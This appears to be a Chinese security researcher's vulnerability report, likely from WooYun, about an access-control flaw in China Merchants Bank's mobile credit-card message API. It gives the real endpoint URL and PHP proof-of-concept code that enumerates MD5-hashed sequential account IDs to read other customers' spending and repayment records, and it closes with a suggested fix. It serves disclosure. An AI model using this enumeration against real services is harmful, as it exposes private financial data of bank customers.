招商银行设计缺陷可以查询其他用户信用卡消费&还款记录(附测试代码)

来源:互联网 发布:wow7.0采集数据库 编辑:程序博客网 时间:2024/04/29 07:29

招商银行设计缺陷可以查询其他用户信用卡消费&还款记录(附测试代码)。其实我也怀疑银行这样设计是不认为这些数据就是影响不大的呢,带着这个疑问提交给厂商验证吧。
PS:乌云算法升级了,核心掉了 - - #

详细说明:

一直使用招行的信用卡客户端,有个疑问一直纠结着我,就是每次不用我帐号密码登录就能给我推送消费和还款信息,多年经验告诉我这里没问题就怪了。。但这样的通知放在认证外,是否也说明这种信息没啥影响呢?想在乌云求个答案,了了心思。

0.jpg



数据包是这样的,如图

2.jpg



文本如下

code 区域
http://mlife.cmbchina.com/PlutoPushProxy/queryMessageFromClient.json?_ver=4.2.0&_requuid=EC92A073-39E9-0467-4C2D-59479A237C88&_pla=cmblife_iphone_4.2.0_&_pro=0&_appId=202cb962ac59075b964b07152d234b70&_r=YES&_iv=24&_accountId=1233e1af18894e0b3e0a79c37771b5ee&_uid=202cb962ac59075b964b07152d234b70&DeviceID=202cb962ac59075b964b07152d234b70&appId=202cb962ac59075b964b07152d234b70&_ss=888*888&_mt=iphone100

page=1&category=



通过分析发现,这么多参数其实都是用来做个统计,真正有效的其实是 _accountId 这个参数,但这个参数是个hash啊。没关系解密看一下发现是个数字,应该是用户ID吧。

1.jpg



数字随便加几个,减几个然后再次md5看看结果呢。

漏洞证明:

给出一段证明代码,用来“遍历”信息,为了防止他人利用,curlsend函数定义不放出

code 区域
for ($i=0; $i < 9 ; $i++) { //Demo,仅遍历10个ID
$userid = md5("011990180".$i);
$url = "http://mlife.cmbchina.com/PlutoPushProxy/queryMessageFromClient.json?_ver=4.2.0&_requuid=EC92A073-39E9-0467-4C2D-59479A237C88&_pla=cmblife_iphone_4.2.0_&_pro=0&_appId=202cb962ac59075b964b07152d234b70&_r=YES&_iv=24&_accountId=$userid&_uid=267536746a28e3b3b92428120f84c376&DeviceID=202cb962ac59075b964b07152d234b70&appId=202cb962ac59075b964b07152d234b70&_ss=888*888&_mt=iphone100";
$res = json_decode(curlsend($url,1,1,'page=1&category='));

if (count($res->messages) > 0) {
echo "User : 011990180".$i." $userid => exists ! \r\n";
}
}



10个ID内有3个存在

res.png



分别请求一下

1.png



2.png



3.png



已经可以了吧,结贴。



PS:对了 page=1&category= 里面page参数应该是可以翻页的,不测了。

修复方案:

那个ID在服务端加个salt吧,可以解密出来就代表可以伪造了。

另外其他那几个花花绿绿的id也没起到什么验证做用,要不加个签名也防止篡改?

0 0